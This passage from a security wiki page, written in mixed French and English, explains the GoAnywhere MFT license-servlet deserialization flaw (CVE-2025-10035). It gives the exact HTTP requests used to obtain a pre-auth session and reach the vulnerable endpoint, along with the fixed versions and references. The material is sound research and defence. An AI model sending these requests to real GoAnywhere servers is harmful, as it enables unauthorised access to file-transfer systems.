1) Pre-auth token minting via le gestionnaire d'erreurs:
```http
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
```
Recevoir un 302 avec bundle=... et ASESSIONID=... ; décrypter le bundle hors ligne pour récupérer le GUID.
2) Accéder au sink pre-auth avec le même cookie :
```http
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
Cookie: ASESSIONID=<value>
Content-Type: application/x-www-form-urlencoded
bundle=<attacker-controlled-bytes>
```
3) RCE requires a correctly signed SignedObject wrapping a gadget chain. Les chercheurs n'ont pas pu contourner la vérification des signatures ; l'exploitation dépend de l'accès à la clé privée correspondante ou à un oracle de signature.
## Fixed versions and behavioural changes
- GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
- Renforcer la désérialisation interne en remplaçant SignedObject.getObject() par un wrapper (deserializeUntrustedSignedObject).
- Supprimer la génération du token du gestionnaire d'erreurs, fermant l'accès pré-auth.
## Notes on JSF/ViewState
Le reachability trick exploite une page JSF (.xhtml) et un javax.faces.ViewState invalide pour rediriger vers un gestionnaire d'erreurs privilégié. Bien que ce ne soit pas un problème de désérialisation JSF, c'est un pattern pré-auth récurrent : s'introduire dans des gestionnaires d'erreurs qui exécutent des actions privilégiées et définissent des attributs de session pertinents pour la sécurité.
## References
- [watchTowr Labs Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
- [Fortra advisory FI-2025-012 Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
{{#include ../../banners/hacktricks-training.md}}